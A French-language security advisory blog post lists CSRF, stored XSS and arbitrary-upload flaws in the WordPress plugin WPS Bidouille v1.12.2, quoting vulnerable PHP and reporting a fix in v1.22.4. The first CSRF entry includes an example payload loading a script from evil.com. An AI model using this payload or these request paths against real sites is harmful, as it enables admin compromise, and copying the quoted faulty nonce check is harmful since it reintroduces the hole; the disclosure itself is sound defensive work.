Failles et vulnérabilités du Web

WPS Bidouille v1.12.2 Multiples Vulnérabilités

Blog Failles et vulnérabilités du Web WPS Bidouille v1.12.2 Multiples Vulnérabilités
0 commentaire

WPS Limit Login est édité par WP Serveur, hébergeur WordPress français. L’indice de criticité de cette mise à jour est moyen.

CSRF #1

Fichier : /classes/plugin.php

Ligne 355-358

Fonction count_notif()

Problème : Manque un jeton de sécurité, ici je peux donner un lien à un admin ou l’inclure dans une page masquée et il se déclenchera en ajax en méthode POST :

https://example.com/wp-admin/admin-ajax.php?action=count_notif avec le param « number » qui vaudra par exemple « <script src=//evil.com/js.js></script>« .

CSRF #2

Fichier : /classes/plugin.php

Fonction dismiss_admin_notice()

Problème : Manque un jeton de sécurité, ici je peux donner un lien à un admin ou l’inclure dans une page masquée et il se déclenchera en ajax en méthode POST :

https://example.com/wp-admin/admin-ajax.php?action=dismiss_admin_notice avec le param « number » et/ou « option_name » et/ou « dismissible_length ».

CSRF #3

Fichier : /classes/plugin.php

Fonction dismiss_admin_notice()`

Problème : Manque un jeton de sécurité.

CSRF #4

Fichier : /classes/plugin.php

Fonction add_option_wps_display()

Problème : Manque un jeton de sécurité.

CSRF #5

Fichier : /classes/plugin.php

Fonction delete_option_wps_display()

Problème : Manque un jeton de sécurité.

CSRF #6

Fichier : /classes/plugin.php

Fonction add_allow_repair_wp_config()

Problème : Manque un jeton de sécurité.

CSRF #7

Fichier : /classes/plugin.php

Fonction remove_allow_repair_wp_config()

Problème : Manque un jeton de sécurité.

CSRF #8

Fichier : /classes/plugin.php

Fonction wpsbidouille_rated()

Problème : Manque un jeton de sécurité.

CSRF #9

Fichier : /classes/plugin.php

Fonction download_log_template_redirect()

Problème : Manque un jeton de sécurité.

CSRF #10

Fichier : /classes/plugin.php

Fonction download_report_system_template_redirect()

Problème : Manque un jeton de sécurité.

CSRF #11

Fichier : /classes/plugin.php

Fonction delete_unuse_plugins()

Problème : Manque un jeton de sécurité.

CSRF #12

Fichier : /classes/plugin.php

Fonction delete_unuse_themes()

Problème : Manque un jeton de sécurité.

CSRF #13

Fichier : /classes/plugin.php

Fonction wp_ajax_save_settings_wps()

Problème : Manque un jeton de sécurité.

CSRF #14

Fichier : /classes/plugin.php

Fonction wps_get_posts()

Problème : Manque un jeton de sécurité.

CSRF #15

Fichier : /classes/removefromcache.php

Ligne 432

if ( isset( $_POST['wps_cache_fields'] ) && ! wp_verify_nonce( $_POST['wps_cache_fields'], basename( __FILE__ ) ) ) {

Problème : Le jeton de sécurité n’est pas vérifié si je n’envoie pas $_POST['wps_cache_fields']

La condition IF n’est pas correcte, c’est :

if ( ! isset( $_POST['wps_cache_fields'] ) || ! wp_verify_nonce( $_POST['wps_cache_fields'], basename( __FILE__ ) ) ) { 

Stored XSS

Fichier /classes/plugin.php

Ligne 85-88

$notifs = get_option( 'wps_notifs_ajax' );

if ( $notifs ) {
    echo 'Vous avez ' . $notifs . ' notifications.<br><br>';

}

Problème : Aucun échappement ni cast ni sanitisation de la données en sortie, aucun n’a été faite en entrée non plus. Aussi grace à la faille CSRF précédente, un simple abonné peut alors ajouter du contenu de son choix, contenu qui sera affiché, évalué par les admins.

Arbitrary Upload File

Fichier /classes/suggest-plugins-themes.php

Partout où il est vérifié un nonce comme dans cette fonction en exemple :

public static function download_plugins_premium() {

$download_url = $_POST['url'];

check_ajax_referer( 'download-premiums', 'nonce' );

Helpers::download_package( $download_url );

wp_die();

}

Le soucis est que l’on peut mettre ce que je veux en URL, ça passera dans l’uploader/installer de download_package(). Remarque, il faut être connecté en administrateur.

Ces failles ont été corrigées dans la v1.22.4

0 commentaire